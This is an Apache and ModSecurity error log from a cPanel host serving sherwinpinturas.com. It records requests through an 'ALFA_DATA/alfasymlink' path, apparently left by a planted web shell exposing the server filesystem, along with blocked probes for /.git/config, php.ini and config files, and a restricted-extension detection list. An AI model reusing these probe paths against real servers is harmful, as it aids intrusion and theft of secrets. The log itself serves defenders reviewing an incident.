[Tue Oct 27 15:09:47.108328 2026] [core:crit] [pid 3285080:tid 3285080] (13)Permission denied: [client 216.244.66.250:49392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/map_files/' is executable
[Tue Oct 27 15:09:47.108345 2026] [core:crit] [pid 3285080:tid 3285080] (13)Permission denied: [client 216.244.66.250:49392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/21/fdinfo/' is executable
[Tue Oct 27 15:09:51.886291 2026] [core:error] [pid 3282923:tid 3282923] (13)Permission denied: [client 54.157.99.244:22661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/cpu1/subsystem/uevent
[Tue Oct 27 15:10:04.123144 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 3.90.73.206:27410] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:10:06.311795 2026] [security2:error] [pid 3283147:tid 3283147] [client 98.84.140.208:48686] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auD3DqE7Dn053zDjtGH0wQAAAB0"], referer: https://recursos1.sherwinpinturas.com/
[Tue Oct 27 15:10:06.311850 2026] [security2:error] [pid 3283147:tid 3283147] [client 98.84.140.208:48686] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "auD3DqE7Dn053zDjtGH0wQAAAB0"], referer: https://recursos1.sherwinpinturas.com/
[Tue Oct 27 15:10:08.079959 2026] [ssl:error] [pid 3282923:tid 3282923] (70014)End of file found: [client 44.193.102.198:29092] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:10:15.769162 2026] [ssl:error] [pid 3286847:tid 3286847] (70014)End of file found: [client 23.21.228.180:33003] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:10:24.018326 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 34.206.212.24:7161] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:10:35.800984 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 3.216.86.144:45881] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:10:35.801288 2026] [security2:error] [pid 3286085:tid 3286085] [client 3.216.86.144:45881] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory10/node0/memory6/online"] [unique_id "auD3Kz_27OIOJ4UgLp1igwAAAAY"]
[Tue Oct 27 15:10:35.801320 2026] [security2:error] [pid 3286085:tid 3286085] [client 3.216.86.144:45881] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory10/node0/memory6/online"] [unique_id "auD3Kz_27OIOJ4UgLp1igwAAAAY"]
[Tue Oct 27 15:10:50.640436 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 185.191.171.10:60506] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:10:51.880775 2026] [ssl:error] [pid 3286849:tid 3286849] (70014)End of file found: [client 3.215.59.93:3976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:10:59.782968 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 54.87.62.248:35492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:11:08.419529 2026] [security2:error] [pid 3286849:tid 3286849] [client 216.244.66.250:60868] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "auD3TEBa2-OpKlzXG7cMmAAAAAs"]
[Tue Oct 27 15:11:08.419893 2026] [security2:error] [pid 3286849:tid 3286849] [client 216.244.66.250:60868] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "auD3TEBa2-OpKlzXG7cMmAAAAAs"]
[Tue Oct 27 15:11:08.420210 2026] [security2:error] [pid 3286849:tid 3286849] [client 216.244.66.250:60868] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "auD3TEBa2-OpKlzXG7cMmAAAAAs"]
[Tue Oct 27 15:11:10.788862 2026] [security2:error] [pid 3284002:tid 3284002] [client 216.244.66.250:40028] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "auD3Thcumw9-uTOZlmrsbQAAAAE"]
[Tue Oct 27 15:11:10.789232 2026] [security2:error] [pid 3284002:tid 3284002] [client 216.244.66.250:40028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "auD3Thcumw9-uTOZlmrsbQAAAAE"]
[Tue Oct 27 15:11:10.789567 2026] [security2:error] [pid 3284002:tid 3284002] [client 216.244.66.250:40028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "auD3Thcumw9-uTOZlmrsbQAAAAE"]
[Tue Oct 27 15:11:15.743617 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 52.200.54.136:17342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:11:27.741302 2026] [core:error] [pid 3286085:tid 3286085] (13)Permission denied: [client 184.73.167.217:17136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource4
[Tue Oct 27 15:11:31.802641 2026] [ssl:error] [pid 3286849:tid 3286849] (70014)End of file found: [client 54.87.95.7:49850] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:11:43.545130 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 52.0.41.164:51380] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:11:51.745934 2026] [core:error] [pid 3284002:tid 3284002] (13)Permission denied: [client 23.21.228.180:22923] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ttyS3/subsystem/tty10/subsystem/ttyS2/port
[Tue Oct 27 15:12:07.724143 2026] [ssl:error] [pid 3286940:tid 3286940] (70014)End of file found: [client 23.21.179.120:14266] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:12:11.793059 2026] [core:error] [pid 3285165:tid 3285165] (13)Permission denied: [client 54.197.178.107:10832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:16/subsystem/devices/device:06/physical_node/virtio2/driver/bind
[Tue Oct 27 15:12:23.778584 2026] [ssl:error] [pid 3286848:tid 3286848] (70014)End of file found: [client 107.20.224.184:47416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:12:27.759039 2026] [ssl:error] [pid 3285165:tid 3285165] (70014)End of file found: [client 44.209.89.189:21381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:12:31.951144 2026] [ssl:error] [pid 3286588:tid 3286588] (70014)End of file found: [client 23.21.179.120:44272] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:12:34.898046 2026] [security2:error] [pid 3286085:tid 3286085] [client 172.86.119.188:43346] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auD3oj_27OIOJ4UgLp1ijAAAAAY"], referer: http://hosp5.sherwinpinturas.com/.git/config
[Tue Oct 27 15:12:34.898424 2026] [security2:error] [pid 3286085:tid 3286085] [client 172.86.119.188:43346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auD3oj_27OIOJ4UgLp1ijAAAAAY"], referer: http://hosp5.sherwinpinturas.com/.git/config
[Tue Oct 27 15:12:34.898790 2026] [security2:error] [pid 3286085:tid 3286085] [client 172.86.119.188:43346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auD3oj_27OIOJ4UgLp1ijAAAAAY"], referer: http://hosp5.sherwinpinturas.com/.git/config
[Tue Oct 27 15:12:35.667383 2026] [ssl:error] [pid 3286848:tid 3286848] (70014)End of file found: [client 54.163.169.168:24118] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:12:46.104889 2026] [authz_core:error] [pid 3274954:tid 3274954] [client 85.217.140.26:35160] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 15:12:55.776006 2026] [ssl:error] [pid 3286588:tid 3286588] (70014)End of file found: [client 34.193.2.57:17958] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:12:59.928003 2026] [ssl:error] [pid 3286085:tid 3286085] (70014)End of file found: [client 52.205.141.124:36427] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:13:15.715934 2026] [ssl:error] [pid 3286941:tid 3286941] (70014)End of file found: [client 3.224.205.25:46150] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:13:19.767051 2026] [ssl:error] [pid 3286848:tid 3286848] (70014)End of file found: [client 100.28.49.152:40201] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:13:23.965105 2026] [ssl:error] [pid 3287026:tid 3287026] (70014)End of file found: [client 23.21.148.226:30475] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:13:46.747776 2026] [core:error] [pid 3286132:tid 3286132] (13)Permission denied: [client 185.191.171.9:48398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/shrink
[Tue Oct 27 15:13:59.845207 2026] [ssl:error] [pid 3287026:tid 3287026] (70014)End of file found: [client 98.84.200.43:58555] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:14:19.799451 2026] [core:error] [pid 3287037:tid 3287037] (13)Permission denied: [client 23.21.228.180:3767] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:04.0/resource0
[Tue Oct 27 15:14:23.704960 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 107.22.208.39:37079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:14:27.732185 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 52.203.65.83:26434] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:14:36.345323 2026] [security2:error] [pid 3287037:tid 3287037] [client 54.89.140.197:18736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auD4HBndMwcYni-rHYZNlAAAAAs"]
[Tue Oct 27 15:14:36.345369 2026] [security2:error] [pid 3287037:tid 3287037] [client 54.89.140.197:18736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auD4HBndMwcYni-rHYZNlAAAAAs"]
[Tue Oct 27 15:14:39.929442 2026] [ssl:error] [pid 3287026:tid 3287026] (70014)End of file found: [client 184.73.167.217:65322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:14:51.797057 2026] [core:error] [pid 3286940:tid 3286940] (13)Permission denied: [client 54.147.80.137:56885] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/QEMU0002:00/driver/bind
[Tue Oct 27 15:14:55.787556 2026] [ssl:error] [pid 3274954:tid 3274954] (5)Input/output error: [client 3.218.35.239:24368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:14:59.715499 2026] [ssl:error] [pid 3286848:tid 3286848] (70014)End of file found: [client 34.235.239.240:54600] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:15:03.746966 2026] [ssl:error] [pid 3287037:tid 3287037] (70014)End of file found: [client 54.235.172.108:35862] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:15:19.757328 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 107.23.62.75:7645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory18/node0/memory16/subsystem/uevent
[Tue Oct 27 15:15:23.773804 2026] [core:error] [pid 3287037:tid 3287037] (13)Permission denied: [client 98.82.107.102:47879] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/ata2/host1/subsystem/drivers_probe
[Tue Oct 27 15:15:27.776248 2026] [ssl:error] [pid 3286940:tid 3286940] (70014)End of file found: [client 18.205.91.101:21786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:15:39.796290 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 3.231.193.38:50507] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/virtio1/driver/bind
[Tue Oct 27 15:15:47.685751 2026] [core:error] [pid 3286940:tid 3286940] (13)Permission denied: [client 52.200.58.199:46968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:0b/eject
[Tue Oct 27 15:15:51.730179 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 34.231.156.59:17753] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:16:07.874408 2026] [ssl:error] [pid 3286940:tid 3286940] (70014)End of file found: [client 3.222.85.38:13408] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:16:23.716304 2026] [ssl:error] [pid 3286940:tid 3286940] (70014)End of file found: [client 52.54.249.218:3357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:16:31.829133 2026] [ssl:error] [pid 3286942:tid 3286942] (70014)End of file found: [client 44.221.37.41:3563] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:16:39.880541 2026] [ssl:error] [pid 3286941:tid 3286941] (70014)End of file found: [client 44.221.180.179:29993] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:16:55.738441 2026] [ssl:error] [pid 3286941:tid 3286941] (70014)End of file found: [client 44.218.6.93:63522] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:16:59.789269 2026] [core:error] [pid 3283068:tid 3283068] (13)Permission denied: [client 34.205.163.103:43324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/unbind
[Tue Oct 27 15:17:07.773597 2026] [ssl:error] [pid 3287026:tid 3287026] (70014)End of file found: [client 98.84.131.195:62418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:17:15.730077 2026] [ssl:error] [pid 3283068:tid 3283068] (70014)End of file found: [client 23.21.119.232:46484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:17:19.680618 2026] [ssl:error] [pid 3286942:tid 3286942] (70014)End of file found: [client 34.202.88.37:39953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:17:35.852466 2026] [ssl:error] [pid 3287026:tid 3287026] (70014)End of file found: [client 54.235.191.179:38004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:17:42.576446 2026] [core:error] [pid 3274606:tid 3274606] (13)Permission denied: [client 216.73.217.51:62119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/setup_systemd_timer_for_plugins
[Tue Oct 27 15:17:43.863067 2026] [security2:error] [pid 3287037:tid 3287037] [client 34.236.41.241:23848] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:06/"] [unique_id "auD41xndMwcYni-rHYZNmwAAAAs"]
[Tue Oct 27 15:17:43.863112 2026] [security2:error] [pid 3287037:tid 3287037] [client 34.236.41.241:23848] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:06/"] [unique_id "auD41xndMwcYni-rHYZNmwAAAAs"]
[Tue Oct 27 15:17:47.690534 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 54.156.55.147:38979] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 15:17:47.869822 2026] [core:error] [pid 3288425:tid 3288425] (13)Permission denied: [client 216.73.217.51:10204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/initialize_360monitoring
[Tue Oct 27 15:17:49.780721 2026] [core:error] [pid 3287026:tid 3287026] (13)Permission denied: [client 216.73.217.51:18969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/createacct
[Tue Oct 27 15:17:49.871382 2026] [core:error] [pid 3287026:tid 3287026] (13)Permission denied: [client 216.73.217.51:18969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/restorepkg
[Tue Oct 27 15:17:50.072690 2026] [core:error] [pid 3287026:tid 3287026] (13)Permission denied: [client 216.73.217.51:18969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/create_default_featurelist
[Tue Oct 27 15:17:50.144434 2026] [core:error] [pid 3287026:tid 3287026] (13)Permission denied: [client 216.73.217.51:18969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/dev/core
[Tue Oct 27 15:17:50.963941 2026] [core:error] [pid 3288425:tid 3288425] (13)Permission denied: [client 216.73.217.51:10204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/removeacct
[Tue Oct 27 15:17:51.149177 2026] [security2:error] [pid 3288425:tid 3288425] [client 216.73.217.51:10204] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/"] [unique_id "auD437x0ZDTbM_Hhk2l3LQAAAAQ"]
[Tue Oct 27 15:17:51.149222 2026] [security2:error] [pid 3288425:tid 3288425] [client 216.73.217.51:10204] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/"] [unique_id "auD437x0ZDTbM_Hhk2l3LQAAAAQ"]
[Tue Oct 27 15:17:51.601100 2026] [core:error] [pid 3288425:tid 3288425] (13)Permission denied: [client 216.73.217.51:10204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/run_plugin_lifecycle
[Tue Oct 27 15:17:53.331071 2026] [core:error] [pid 3288425:tid 3288425] (13)Permission denied: [client 216.73.217.51:10204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/modify_featurelist
[Tue Oct 27 15:17:53.881070 2026] [core:crit] [pid 3288425:tid 3288425] (13)Permission denied: [client 216.73.217.51:10204] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/tracing/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/tracing/' is executable
[Tue Oct 27 15:17:53.881574 2026] [core:crit] [pid 3288425:tid 3288425] (13)Permission denied: [client 216.73.217.51:10204] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/debug/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/debug/' is executable
[Tue Oct 27 15:17:54.878430 2026] [security2:error] [pid 3288425:tid 3288425] [client 216.73.217.51:10204] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".dat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/scripts/logo.dat"] [unique_id "auD44rx0ZDTbM_Hhk2l3VQAAAAQ"]
[Tue Oct 27 15:17:54.878831 2026] [security2:error] [pid 3288425:tid 3288425] [client 216.73.217.51:10204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/scripts/logo.dat"] [unique_id "auD44rx0ZDTbM_Hhk2l3VQAAAAQ"]
